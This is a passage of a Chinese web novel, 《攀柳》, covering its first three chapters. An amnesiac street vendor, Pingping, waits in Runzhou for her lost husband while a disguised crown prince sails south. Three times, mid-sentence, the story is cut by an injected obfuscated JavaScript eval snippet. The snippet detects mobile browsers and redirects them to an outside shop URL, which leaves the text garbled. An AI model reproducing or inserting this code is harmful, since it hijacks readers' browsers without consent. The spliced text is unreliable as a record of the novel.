《攀柳》 1. 第一章 女子醒来，睁开杏眼，发现自己正倚靠一块大石头坐着，周遭萧然黄土，大地皲裂。莫说人烟，就连第二块石头都找不到。 一眼眺到天尽头，只有几棵枯枝。 女子既懵又惑，不知身在何方，又隐约觉着自己靠的这唯一一块石头，是被人特意搬过来的。 这预感令她不安，右手撑地下意识想站起，却痛得呲了一声。 疼！ 钻心刺骨的疼！ 女子这才发觉自己身上全是伤，衣衫褴褛，血痂已和肌肤、布料粘为一体，脱衣裳只怕会连带撕下一层皮。 她脸上也有翻着皮肉的刃口，北风滚携黄沙刮过，仿佛接连不断的巴掌，抽得脸疼。 她禁不住咧嘴，但刚一张嘴就僵住，因为口里也有血，肿着。 女子不敢摸脸、呲牙，只小心翼翼试探着喘气，缓解疼痛。 吁——吁—— 女子脑海中忽有虚影一闪而过。 她怔怔定住。 虚影逐渐变清晰，是一男子展臂拥着她，坐在山径上。男子的腹部缠着一圈又一圈布条，似乎受了伤。许是因为失血，他的脸色格外苍白，但五官却是女子平生见过最周正舒朗的，鼻梁尤其好看，微凸的颌骨平添几分书画意境。 微风拂面，发丝乱飞，她在他怀中向上仰望，才发现，男子耳后有一颗平坦的小痣。 记忆中，她情不自禁抬起胳膊，想要摸那颗痣。 指尖刚刚触上，原本俯瞰大江的男子就转回头与她对视，小痣顷刻不见，但他清冷的眸子却迅速染上烟火气，仿若天上星坠江心，柔情似水，波光粼粼。 男子抓住她抚他痣的那只手，将她的掌心贴到自己面颊上，翘起嘴角：“萍萍，我们以后就在润州生活，开家汤饼店吧？”他讲好听的官话，“主卖银丝面，臊子就鱼桐皮或笋泼肉，夏天……夏天再兼卖些冷淘，可好？” “那什么时候开呢？” “过几年吧。” “过多少年？” “最迟六年，给我六年时间。” “六年好久啊，到时候我都二十三了……” …… 回忆仿佛带有法术，女子一时忘记伤痛，也忘尽其它，独靠孤石，痴痴呢喃：“阿湛。” 她脑中再一闪，约定开店的画面消散不见，取而代之的，是红烛摇曳，洞房花烛，深深凝视，对饮合卺 “驾——” “驾——” 嘈嘈切切的马蹄声骤然响起，如阵鼓，似暴雨，女子惊得一抬下巴，霎时回神。 她眯起眼，瞧见前方尘烟中，一群人正策马奔来。 * 六年后，润州。 子时方过，满城酣梦，唯朱方巷灯火通明，沸反盈天。 更夫提着铜锣木梆下夜，茶博士赶去上工，巷中擦过，互相招呼一声。做鬼市的收摊回家，把门关紧，卖汤饼、粢饭和汤包的，支摊做灶，热气腾腾往外冒。 大半条巷子都是屠宰生意的，作坊一家挨着一家，刀手肉案上片了整猪，或上钩，或剁馅，信手拈来，巧若摘花。整座城的肉贩牙子都来交易，成百的太平车堵在巷头。 如今藏富于民，老百姓有了钱便不爱在家开灶了，劳心劳力，不如来档口洗漱，也才两文。 所以巷子口人多、车多，卖洗面汤的也多，顶头唯一一间浴堂还没开张，紧闭的大门外一字排开好些个卖洗面汤、茶汤的推车，叫卖的媪妪和小娘子们里，属其中一位青绡包髻，扎红发带的小娘子生意最好。 “萍娘子，来份洗面汤。” “唉，来啦——” “萍娘子，还得排多久啊？” “不好意思，李行老，您前面还有三位，就快到了！唉，张丈，您擦擦手。” 张屠刚洗完脸，脏帕子还没来得及丢回盆里，萍娘子就已将干爽松软的新帕子递到手边。 张屠盯着她，笑眯眯，乐呵呵。 其实像他们这种跟牲畜打交道的，红艳艳荤血，白花花肉泥，腥臊早已浸进骨子里，无论怎么洗，都洗不掉的，却还是愿意来光顾萍娘子的的摊位，一来出了朱方巷，再没有人像她这样如亲似友，不掩口鼻，不嫌不避；二来萍娘子逢人便笑，微弯的双眼、旋起的酒窝，一见就驱散心中阴霾。再听她爽朗笑声，禁不住跟着笑起来,心情大好。 这两文钱花得值。 何况别家一样价格，只供一盆洗面水，萍娘子这先给一盆洗手，再给一盆洁面。水温是几家里调得最好的，温而不烫。乍暖还寒的二月里，用这水洗把脸，热帕子敷一敷，比泡脚还舒服放松。 且她舍得用胰子，哪怕自个少赚，也定要让主顾洗得干净滑腻，遇到女主顾，还会额外提供七白方子配的澡豆，美白养颜。 也有人劝过萍娘子，叫她少舍本钱，厚人则利微，何苦劳力薄财。萍娘子却说做生意就是要竭诚相待，“诚者天道，思诚人道”。 人们便起哄：萍娘子你念了几年书？竟也会掉书袋！ 萍娘子大大方方回应，自己没怎么念书，孔孟的典故是自家官人教的。 众人顿时来了精神，萍娘子来润州数年，独居寡宿，风雨自扛，她哪来的男人？ 有好事的妪婆这才想起来掀萍娘子的包头巾，里面竟真梳着妇人发髻！ “萍娘子，那怎么没见你家官人的影？” 难不成……是丧了夫的寡妇？ “我同官人走散了，但我们约好了要在润州开间汤饼店，他一定会寻来。”萍娘子记忆也不多，却件件笃定，有时候想起官人，不自觉热泪盈眶。 一传十，十传百，朱方巷里的人都晓得萍娘子要做两件事： 一，攒钱开间汤饼店； 二，等她官人。 邻里愈发照顾生意。 有时候甚至帮她记挂着。近丑时，太平车走得七七八八，生意清闲下来，隔壁卖二陈汤的杨婆便问：“萍萍，你的铺子张罗得怎样了？” “快好了，下个月能开！”萍娘子不撒谎。 她刚拾掇完风炉，擦着手，脑海里不禁勾勒起开好的汤饼店，门面三、四方丈，桌凳五、六张，她和自家官人一个掌勺，一个跑堂，卖鱼桐皮、笋泼肉的银丝面，夏天兼卖冷淘……萍萍想着想着，会心一笑。 “大官人，吃茶不？”杨婆一句热情高呼，方才打断萍萍遐想。她敛神望过去，一鹤氅玉冠的年轻男子正负手含笑，立在她和杨婆面前。 原是年前搬进朱方巷的裴小官人。 “我先洗面，再找干娘吃茶，劳烦留我一碗。”裴小官人说着掏出一枚铜钱，提前支给杨婆。 杨婆忙不迭接了，堆笑道：“大官人尽管洗，老身这给您一直温着。” 裴小官人笑笑，转面向萍萍，温声发问：“方才笑得那么高兴，是有什么喜事？” 他捻起两枚面汤钱，轻放进车腿绑的竹篓里。 萍萍眉眼弯弯皆似新月：“想起我家官人了。” 裴小官人嘴角始终挂着笑意，却似乎僵了下，辨不真切。 萍萍转身去漱口水，双手捧盏递来：“大官人，您请。” “谢谢。”裴小官人一手接盏，一手捋袖，用袖子挡住脸面和瓷盥，仰脖饮尽，不曾发出半点声响，再垂首落袖时，吐出的漱口茶已尽在盥中。 “大官人真是个读书人，漱口都漱得这么风雅。”杨婆在旁恭维。 裴小官人浅浅含笑，脖颈微扭，对视的是萍萍：“今日可别忘了。” 漱完再启唇，他嘴里飘出淡淡茶香味。 萍萍摆盆倒水：“大官人且放心，奴家牢牢记着呢！” 本地有位从前做过京官的富户胡员外，今日开八十寿宴。月初，裴小官人主动找上萍萍，说宴上缺一位专做汤饼的帮厨，引荐她去。 萍萍记得那天他也是在买洗面汤时顺嘴提的，说完她一愣，在润州，做宴席是件既体面又挣钱的差事，炙手可热，多少有经验的厨娘百人争一，她从未做过，裴小官人缘何引荐她？ 再说他也没吃过她的汤饼。 裴小官人却说她既然天天囔着要开汤饼店，那手艺定然是不错了。 她想，是不错，又寻思，帮厨攒钱更快，既然有这个机会，何不努力？便应承下来。 “我待会收摊，换身衣裳就过去。”萍萍想了想，又加一句，她一说话就带笑，右侧的酒窝旋得更深。 “不急。”裴小官人喃喃回应，原先对视的眸光挪下，瞟到萍萍的酒窝上。萍萍目光不经意追去，小官人却即刻低头洗面，再瞧不清面目。 “萍萍，去做什么呀？”杨婆笑问，那日她没出摊，不知情。 萍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14133841|149997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萍便把裴小官人介绍帮厨的事说了，笑道：“真是不知如何感谢大官人。” 见小官人已经抬头，她给他递胰子，裴小官人依旧垂首，不见眸色，接过胰子后低低回应：“举手之劳，何必言谢。” 这胰子不似澡豆，不能美白，只能洁面，裴小官人日日只用胰子，洗完的水里也不见铅粉，却肤如凝脂，和萍萍站在一起，比她还白三、四分。 杨婆免不了又是一顿吹捧：“大官人您脸可真生得好，跟白玉似的，有个词说什么来着？玉人！对，大官人真乃玉人！” 萍萍已经招待裴小官人几十回，但从未留意他的样貌，此刻杨婆叨叨，才飞快掠一眼——眼大窝深，眉目冷硬。 萍萍顿了下，粗犷的五官放在一张白净斯文的面皮上，总有股说不出来的别扭、违和。 萍萍配多了澡豆，鼻子灵敏，今日也在裴小官人身上嗅到浅淡苦涩的药味。 他大概常年服药。 肤白许是体虚吧。 这么一想就说得通了，裴小官人走的时候，萍萍忍不住比平时多关切些，嘱咐这位苦命人千万记得食早膳，若是有时间，再睡个回笼觉。 “我明白，”裴小官人漾笑，“‘食饮有节，起居有常……” “……不妄劳作，方能形与神俱’。”萍萍接上后半句，和裴小官人异口同声讲完。 裴小官人原本浅淡的笑明显变浓，她也知《黄帝内经》。 萍萍回以一笑，没想到裴小官人也晓得她官人讲过的话，下一刹来了新主顾，萍萍没时间再闲聊。 裴小官人也不闹，自行过街。他家就住在浴堂对面，到门前驻足，迟顿须臾，回头隔街遥望。 洗面摊上，萍萍正背对着他忙活。 “天色隐晦——”报晓的头陀执板训街，挡住裴小官人视线。裴小官人抿唇笑笑，也不等了，回身进门。 隔着一条街，主顾一走，杨婆就忍不住告诉萍萍：“大官人刚进门前还在望这边呢。” 萍萍正泼水，不假思索回问：“哪位大官人？” 杨婆跺脚，萍娘子怎么转头就忘：“街对面，刚找你洗面的裴小官人！” 萍萍收盆：“怎么了？” 难不成方才洗面时，她有照顾不周？ 杨婆见其神色，恨铁不成钢：“傻呐，他是对你有意思。” 萍萍立马摇头：“别瞎说。” 不可能，好生荒诞！ 杨婆却振振有词：“小官人若是无意，为什么不管刮风下雨，都要来买你的汤？又缘何要你介绍差事？” 萍萍刚要反驳热心快肠，邻里照顾，杨婆又快她一嘴：“老身跟你说啊，虽然都在一条街上，但只有小官人的宅子是三进三出的，租金比别家贵好几倍，而且……”杨婆压低声音，“他这宅院其实不是租的，是他自己买的！” “没准是什么外地的世家公子，你可要抓牢了！” “干妈再别讲这样的话，”萍萍正色，“我成了亲，有官人的。” 她抬手摸了下自己的头巾。 她只等她的官人。 杨婆见萍萍严肃了，后面已经到嘴边的话，生生拐回肚里：你那官人至今没个音讯，说不定别处另娶了呢？何必苦守。再说，人就是回来了，能比得上裴小官人的模样财力？ 萍萍已垂眸盯着脚尖：以前没留意，杨婆一提点，才惊觉裴小官人的确过分亲近了。明知道她有夫还来接近，定不是什么好人。这回帮厨一定要按市面上的规矩结佣金给他，两清之后，能避则避。 “萍娘子！”方才招待过的张屠推太平车经过，又同萍萍打招呼。 萍萍笑吟吟招手：“张丈，去江边呀？” “可不！”张屠经营底下丹阳、金坛等县的猪肉倒卖，每天都要来回开推好几车猪肉去码头。 夜色苍茫，流水哗哗，四、五艘货船正静悄悄上货。 从上游漂下两只漆黑的客船，穿进货船间。 这个点，旅客们都还在沉睡。 连赶路的梢公们，也朝江中点下巴，禁不住犯困。 又来一艘客船，却灯火通明。 舱中，若干男女正聚一处，背窗那位青年男子，身着荼白圆领袍，幞头梳得格外整齐，不允一根碎发散落——因此他仅是稍微压低下巴，就露出耳后颈上一颗浅红的小痣。 2. 第二章 一白净少年和一女使打扮的美貌少女，一个递一个摆，逐一上膳——是同样的汤饼，不仅用一样大小的碗，连上面漂着的卤牛肉片数和葱花颗数都差不多。 女使刚摆好，着荼白圆领袍的男子就随手捡了一碗吃起来，其余人见他动筷，这才拾箸。 食盒里还有东西，女使又取出四只颜色一样的琉璃碟，里面均匀垒着雪白长条的吃食，切边四方，却不是面，面上点点金黄像是桂花。 荼白圆领袍男子仅朝碟中晲了一眼，女使就急忙躬身：“启禀殿下，这是船家昨日拿给我们的，说是自家娘子做的本地糕点，唤作桂花云片。” 碟中每一片云片糕角都戳有一个细微小孔，已验过，无毒。 “你们吃吧。”白袍男子继续吃他那碗汤饼，又道，“说过出门在外，你我皆是随从，不必如此称呼，亦不必拘礼节。” 他不说还好，一说，原先也坐在桌边的老翁连忙起身，掀袍下拜：“臣惶恐。” “奴亦惶恐。” 眨眼间舱中人尽跪倒，独余白袍男子还坐着。他这才停箸放碗，俯扫众人。 白袍男子，乃是当今国本，太子柳湛。 他奉官家圣意南巡扬州，沿路十分低调，自金陵雇船后，就命随行的御史中丞林元舆扮演老员外，柳湛自己，则和殿前司的近卫、东宫司膳、内侍一道，扮作林家仆从。 “都起来吧。”柳湛淡道，似有几分无奈，“吃完了还有事做。” 众人闻言，一片应喏起身。 不敢太快也不敢太慢，他们压在柳湛前一拍用完早膳。待柳湛吃完，女使立马上前收拾碗筷，擦拭桌面，东宫内侍袁未罗则赶紧铺上一块桌布，以迅雷不及掩耳之势摆好四宝，柳湛就着这简陋圆桌处理起公务。 袁未罗立在身侧研墨。 不一会儿，满台乌黑，如蜡似油，忽闻窗外幽响，袁未罗循声望去，窗户外头跟砚台一样黑。 离天亮还早，就算是在漏院，这个点也还没上朝呢！ 嗡——嗡—— 天愈寂寥，声音就越显幽亮，像是即将抵达的大潮。 可明明舟行平稳，如履平地。 嗡——嗡—— 不是水流哗声。 像是……好些人在吟唱？ 隐约还有富有节奏的磬钹和木鱼声。 袁未罗这才反应过来，是哪里的和尚在诵梵音。 唱的似乎是本地方言？ 反正不是官话，一个字都听不懂！ 曲调亦与东京城的梵音迥异。 明明欢悦，却有股说不出的头皮发麻，袁未罗突然害怕被窗外的黑夜吸进去，慌乱别首，觑向舱中暖灯和坐镇的太子殿下，才稳住心神。 他盯着柳湛，不眨眼地细瞧，太子殿下乌发白袍，穿的是有钱人家护院惯穿的圆领袍，质地亦算不上出众，桌上的油灯也是寻常一盏，可就这么一照，便光彩照人，鼻挺颊玉，袅袅似山松覆白雪。 窗外的梵音还在诵，离得越来越近，袁未罗悄悄朝柳湛那边挪了半步，壮着胆子继续听。 船不知行了多久，他渐渐不再畏惧，反倒觉得身子轻松，洗了个干净澡似的。 袁未罗忍不住发问：“这些大师们诵的什么经呀？是哪里的道场？” 柳湛正看公文，头也不抬：“不怕了？” 袁未罗咂舌低头，原来殿下看出他害怕了啊…… 他重抬起脑袋，挠了挠：“现在不怕了，反而听着高兴，就是不知道诵的是什么。” 柳湛合上一本公文，又阅下一本，始终抿唇。 “殿下，他们究竟诵的什么？” “孤也是头回来，并不通晓此地方言，你问林公。”柳湛手上继续翻公文，遇到该圈点的地方，批上两笔。 诸人之中，唯有御史中丞林元舆不是第一回下江南，且博文广识。六旬白头翁，闻言起身拱手：“殿下应该已经到了润州。诸位大师正用润州话诵《涅槃经》。” “《涅槃经》？”袁未罗呢喃。 “‘本有今无，本无今有。三世有法，无有是处’。”和尚们诵到此处，林元舆便也拣这句复述。 “什么意思？” “本来有的如今无了，本来无的如今有了。过去现在将来，无永恒固定，变幻无常，缘起性空。” 袁未罗半懵半懂点了点头，又望向窗外，天色已不似之前那般乌黑，朦胧间见峨嵯山峦，横枕大江。 梵音正是从山上传来。 袁未罗忽地想起昨天船家说过，今早应该能到润州。他读书不多，但知道润州有座北固山，千百年来，刘玄德、孙仲谋、刘寄奴，多少风流人物都与这山有缘，便信口开河：“原来是北固山的大师们在诵。” “人早课修行，日日如此。”林元舆莞尔，“祇树有缘，你我能听到。” “是金山。” “什么？”袁未罗循声扭头，见是向来寡言的殿前司近卫，鼎鼎出名的“闷葫芦”蒋望回插.嘴，不由更惊讶，“你说什么？” 林元舆和那女使也看了过来。 蒋望回启唇，低低回应：“不是北固山，是金山寺。” “希颜怎么知道是金山？”柳湛突然发问，不曾搁笔，视线也只追随着折子移动。 蒋望回却惊得一抬眼皮，而后镇定心神，屈膝回道：“回殿下，臣……为着行程妥当，事先将金陵、润扬一带舆图熟记于心。” “过西津渡便进润州，有寺金山。” “‘北固在金山以东十二里，近瓜州，出润州’，这些都是舆图上记载的。” 蒋望回断续答了好几句，柳湛却只往他膝上晲了一眼。 “这事不必跪。”他好似随手一说，又继续往那折子上勾勾画画了。两滴水从窗外飘进来，眼看要打湿公文，柳湛手往左挪避开。微风掠过他的后颈，从耳后那颗小痣擦过。 原来外头已雨若飞絮，之前被诵经声遮盖，不曾察觉。 女使旋即担心柳湛淋湿，上前想要关支摘窗，袁未罗轻声提醒：“正烧着炭呢……” 整舱就剩这一扇窗户还开着，倘若全关了，人会晕的。 女使退后一步，与袁未罗耳语：“那把炭灭了。” “不行，郎君万一侵了湿气……” 他们自以为私语，却不知嘀嘀咕咕尽入柳湛耳中，往常他也觉聒噪，却能面静如水，只作未闻，今日不知怎地，做不到。 再早些时候也是，莫名就醒了，只怕还不到子时。睁着眼躺在床上，胸口一股没由来的郁结。 柳湛想到这，沉下脸望向窗外，苍穹在这刹那放亮，青山绿水，猝入眼帘。葱翠间，雄黄色的宝殿依山就势，连绵不绝。 柳湛微怔。 窗外的雨逐渐下大，起雾成帘。 天上乌云，连成一片。 * “唉，怎么下雨了？” 萍萍收摊回家，找出自己最利落得体的一套衣裳换了，甚至还戴了冠子，收拾妥当，出门才走两步，便觉头顶湿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14133842|149997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 漉，再低头望地，青石板上点点滴滴。 要在往常，她就跑两步了。 可今日去的是有头有脸的主顾家，得郑重，不能狼狈，萍萍毫不犹豫折返，回家取伞。一番波折，准备再出去时，门外又响起马蹄声。 萍萍放在门上的手一顿，先透过窗子觑看，一辆棕马竹帘的马车停到街对面，隔着来往行人和她对门。 这车眼熟，像是裴小官人常乘的那辆，萍萍再定睛看那马夫，就是他长雇的那位。 萍萍心一沉，毫不犹豫改走后门，轻手轻脚，溜之大吉，任那马车空等在雨中。 从淅淅沥沥到暴雨倾盆，萍萍撑的伞骨骼还算扎实，没有被吹翻，但大半个身子还是不可避免被斜风吹湿。 她脚下加快，几乎跑起来，心想自己真是幸运，遇到的胡员外讲究，灶具食材皆自备，帮厨人去就行，不然她带一大堆东西，跑不动，湿得更狠。 事先已被告知要从胡家侧门进后厨，不能走正门。 萍萍找到后门，许是雨大盖过，叩过七、八下，才有来人开门：“来了来了，这么大雨还有人能早到啊？” 门一开，女人见萍萍鞋袜湿透，头发滴水，不好意思再调笑了，默伫原地。 萍萍笑道：“见过养娘，我叫萍萍，是来帮厨今天的寿宴的。” “哦、哦，我是这家的掌勺。”那女人回神，将萍萍让进去，又対名单，确认她是来做汤饼的萍娘子。 三两语混熟后，萍萍才晓得现在在的，都是胡家家养的厨娘，外面雇的除了自己，都会没来。 后厨里灶烧着，比别处热上许多，萍萍的衣裳迅速烘干，天也在这期间愈变愈黑，直到乌云严实遮蔽最后一丝光。 只听得风咆雨哮，想象外面的滂沱。 “这也太黑了。”掌勺唏嘘，取出四、五只青瓷的油灯，分给大伙帮点。 萍萍主动接过一只，灯底浮油，浸着五根灯芯，分别通过五个小细管到灯口，这种灯五个口都可以分别点，燃得口越多灯越亮，也更耗油。 所以要依据天黑的程度来判断点几根芯。 萍萍因此向外看去，别人也跟她一样，有人不禁担忧：“这天，看都看不见……晚上还能开席不？” “呸呸呸！闭起你这张乌鸦嘴。” “啊呸——我说错了，顶多到晌午，肯定放晴！” 萍萍默默听她们议论，不由庆幸自己前脚到，后脚才天黑，没有摸黑。 老天对她如此眷顾，一定会帮她和官人团聚。 她习惯先给灯里添了省油的水，而后才点燃三个灯口。胡家灯油用的麻油，很快便满室飘香。 而江中舱内，燃的油灯皆是普通桐油，并无香味。 风大船荡，颠簸起伏。 西风肆无忌惮敲打窗楹，桌椅随浪来回滑动，林元舆、袁未罗和女使皆攥牢栏杆，一动不动。蒋望回有功夫在身，比他们好得多，能站起走向桌边，这灯是方才天重黑重点起来的，摇摇欲坠的油灯，避免倾覆燃船。 他还要再去灭第二盏，太子柳湛却袖子一扫，先他一步灭掉。 原先身后墙上，柳湛摇曳放大的影子骤然消失。 “员外、员外！”梢公外面急急拍门。 林元舆眺向柳湛，得他首肯，才道：“进来”。 梢公一开门就蹿进来一股子冷风，虽着蓑衣却仍湿透，水如瀑一顺淌到地板上：““赶上暴风雨了，员外您看要不要先拢船靠岸，找个地方歇一会？等天晴再走” 3. 第三章 梢公身后，一个江浪翻上船头，众人皆瞧见。 除了林元舆，其他人既是头回来江南，也是头回见翻江，袁未罗被唬得举手挥舞：“那、那快摆去岸边！” 女使紧张咬唇，林元舆也有停船的意思，余光去眺柳湛的指示，蒋望回却突地冷问：“几时才会天晴？” “啊？”梢公楞了一下，问他吗？ 蒋望回两眼牢牢锁住梢公双目，咄咄追问：“你说停船，那几时才能天晴，才得重行？” 要是别的主顾，梢公张嘴就编个快了一会就放晴，但蒋望回生得高大，脸又严肃，梢公心生畏惧，不敢胡诌。 蒋望回转头，似看向林元舆，亦是望向柳湛那边：“若这雨三日七日不停，岂不要停三日、七日？那何年何月才能到扬州？” 无人回应。 舱内安静了一会，袁未罗突然清脆反问：“不靠岸万一浪太大船翻了怎么办？” 蒋望回垂眸：“昼夜行程，耽误不得。” 须臾，柳湛轻轻扯了下嘴角。 一直散淡听着，仿若旁观者的他不紧不慢挑起眼皮：“希颜何故如此坚持？” 蒋望回眉目骤地绷紧，紧抿着唇一言不发。 柳湛大事未酬，可不想葬身鱼腹。他转朝林元舆躬身，姿态谦卑：“员外，‘善泳者溺，平地覆舟’，以小底之见，还是小心谨慎为妙。” 林元舆忙应：“是、是，所言极是。” 催促梢公往岸边摇橹。 西津渡附近皆是码头，因着方才蒋望回异议，梢公怕主顾再不满，会克扣尾款，专拣了那一处最奢华的水榭码头停靠。 风雨连廊，灯火通明，一不侵风雨，二不怕昏天暗地，连廊直通码头茶肆，茶博士提壶献茶，暖意浓浓。 美中不足也仅是肆里谈生意的市头多，有些聒噪。 半晌不见泼天雨变小，又一艘新船靠上水榭，下来二位老者，仆从簇拥。 老者们进茶肆后习惯环视，目光很快落在林元舆身上，疾步走近：“林公？可是林公？” 煌煌灯下，林元舆也认出来，二人是从前御史台的同僚，致仕前朝夕相伴。 林元舆起身，笑唤二人表字，又邀同桌：“你俩怎么到润州来？” 记得二人归乡时，回的原籍苏州。 “胡忠恕今日做伞宴，请了我俩。”二人已至桌前，原来柳湛、蒋望回皆和林元舆同坐桌边。柳湛动了动眸，起身似要给来客让人，惊得林元舆眼皮一跳，启唇尚未开口，柳湛已绕到他身后站定。 蒋望回也跟着如此。 林元舆只得阖唇崩面。 二位致仕的大人不明就里，扫了柳湛和蒋望回各一眼就撩袍坐下，当中一人开口：“胡兄要晓得您在润州，肯定也会请您的。” 另一人亦道：“是啊！胡兄的寿宴，林公您又恰好在润州。来得早不如来得巧，不如同去？” 林元舆忆往昔，胡忠恕长十二岁，早一年升的御史使，当年处处压自己一级，也曾尊兄。 时光荏苒，不仅满头乌发之人年至耄耋，他也终于升到胡忠恕这辈子都没做到的品阶了。 林元舆心中迫切想去，却又恐太子不肯，自己擅自做主，惹恼太子，便不流露丝毫急切意，反而犯难道：“这……御史台一别，老夫与胡兄已有多年未见，甚是想念，只是……”林元舆偷瞥柳湛，见他面色恬淡，并无反应，只得继续说下去：“只是此番知晓匆忙，老夫恰好有事在身，恐怕就……” 林元舆一句一顿，语速极慢，可都说到这了，柳湛仍无表态，面上恬淡，也揣测不了态度，反倒是林元舆那两同僚，一直在怂恿催促：“林公——您就不要推辞了！” “林公，去吧！” “走走，咱们同去！” 声声仿若炙火，烤得林元舆似热锅蚂蚁，焦急如焚，他忍不住侧身看向柳湛，一看再看，不会真去不成了吧？就在这时柳湛与他目光对上，微微一笑，躬身附到林元舆耳边，但二同僚也听得见：“员外，咱们的船一时半会，恐还难开。” “那是老天爷都要留您在润州啊！”同僚们咋呼起来，“这伞宴您去定了！” “好、好。”林元舆方才撩起嘴角：“那……只能恭敬不如从命了。” 二同僚等的就是这句话，便在茶馆闲聊叙旧，只待雨小动身。期间茶博士忙碌，袁未罗帮着续了两回茶，柳湛和蒋望回始终立在林元舆身后。 午后雨停，晴空气清。 林元舆下江南随身带着体己物，里头恰好有只龟鹤佩玉，可作寿礼。又与二同僚一到去盆景铺子里挑了盆老干虬枝的青松，搭在一起送。 从景铺出来，一列候着数辆马车。 主仆次序，林元舆与二同僚乘中间那辆。马蹄哒哒，宝厢摇晃，车驶出去会，二同僚才在闲谈中不经意问起：“林公，跟着你的那俩后生都是家中长随？” 中丞大人的仆从男俊女美，尤其那白袍男子，金相玉质，茶肆中鹤立鸡群，盆景铺子里搬个青松也能搬出器宇不凡。 二同僚致仕得早，彼时柳湛还只是孩童，且他相貌肖皇后不肖官家，二人万万不会联系上。 “不是。”林元舆笑道，“他们是我在金陵雇的护院。” 提及柳湛，言语间总有些虚，此番南巡，虽然奉官家旨意，但眼下太子才算顶头上司。刚才自己那一出小聪明，不知太子恼没恼？有没有觉得倚事逼人？ 林元舆才能平庸，混了四十年官场才将将出头，方才急着去伞宴显摆，冲动脑热，现在事成了，冷静下来，却又生出一股懊悔、后怕和忐忑。 又想，待会同太子道谢时，多多讨好，可能弥补？ 同僚不知，恍然大悟道：“难怪了！习武之人看起来就是不一样！” 仨人又扯些旁的话，刻把钟后，抵达胡府。 叩门时便有人进去通传。众人才跨入前院，将上小桥，便逢见亲自迎出来的胡忠恕。 白墙飞檐，亭外清池，胡忠恕躬身作揖：“朽不知林公亲到，有失远迎。” “奉廉兄不必客气。”林元舆捋须含笑，亲唤胡忠恕的表字，另外二位同僚亦上前叙旧。不多时，胡忠恕便向林元舆引荐身后长子，现做润州刑狱提点的胡瑜。 林元舆频频点头，笑道后生可畏。 胡忠恕继而侧身又引荐第二位，林元舆抢先笑问：“这位可是家中次子？” 胡忠恕这一生最大的遗憾就是子嗣缘薄，三代单传。林元舆不可能没听过，但很可能听过就忘记。胡忠恕并不戳破，面上笑意不减：“这位是廉儿，我们家阿瑜挚友，上学时便伴作一处，老朽看着长大，也算半个儿。” 话音刚落，那人便朝林元舆拜道：“淮扬东路茶盐司提举杨廉，见过中丞大人。” 接下来，拥簇胡忠恕前来的亲友个个争在林元舆面前露脸。林公身后一班“随侍”里，柳湛阖唇转眸，无趣眺向旁处，垒叠湖石如花窗般漏景，曲栏回廊边一树玉兰含苞，美如画卷。 忽闻欢声笑语，一众女使穿过回廊，画卷瞬间流动起来。 柳湛漠然收回目光。 女使们奉命去取果品，院中笑声远了，后厨却热闹起来。 酥油鲍螺要熬、滤、漉、掇、印，专做果子的厨娘边转边挤，女使们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14133843|149997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倚门框述说院中见闻，衙内俊，提举雅，还有那些个世家公子，个个人中龙凤。 厨娘们来了兴趣，有两位厨娘是常来胡家帮厨的，熟些也大胆些，追问哪家公子长得最好看？ “那当然是我们衙内了！” “我觉得杨提举也不赖。” 各有所好，众说纷纭，当中有位年岁梢长的女使忽然提高嗓门：“其实你们都没注意，贵客身后那俩长随更好看些，尤其那个穿白衣服的！” 惊鸿一瞥，便将大公子和杨提举都比下去。 “啧——你竟留心长随！”众女使哄笑。 发言的女使扯了下嘴角，也笑余下的人，皆是些不清白的。达官贵人留心了又如何？不是她们这些为奴为婢的可以奢想，什么锅盖配什么锅，女使配长随，这才是正经好归宿。 一厨娘将鹌子过油，炸声噼啪，说了几遍其他人才听清：“唉——说得天花乱坠，待会我们有机会见着你们说的这些官人吗？” “就是，百闻不如一见！” “能啊！后厨不也有一桌么？” 润州风俗，筵席会留一桌给帮厨。 “哼，又诓我！”厨娘们却清楚，等她们忙完能上桌吃的时候，宾客已经走得七七八八，哪里还瞧得见神仙公子？ 众女呛来斗去，七搭八扯，调侃前院的美梦，唯独萍萍始终沉默，低头和面。 “萍萍！”掌勺留意。 萍萍抬头，沾满面粉的手依旧揉着，嘴角旋起，冲大家一笑。 “你怎么不说话了？”方才聊别的时还挺积极的，怎么议论这个就哑巴了？ “害臊啦？”另一厨娘打趣。 “没有没有。”萍萍摇头，先敛容严肃，继又重泛笑意，现出酒窝：“我成亲了，有官人的。” 她心里只有自己的夫君，所以对她们说的别的男人都不感兴趣。 起哄声四起。 有厨娘凑过来搭上萍萍肩膀，让她说说自家官人是怎样迷得她痴心一片的？ 虽然记忆里始终只有那几画面，萍萍却有份踏实的笃定：“他待我好。” 世上再找不到比官人待她更好的人。 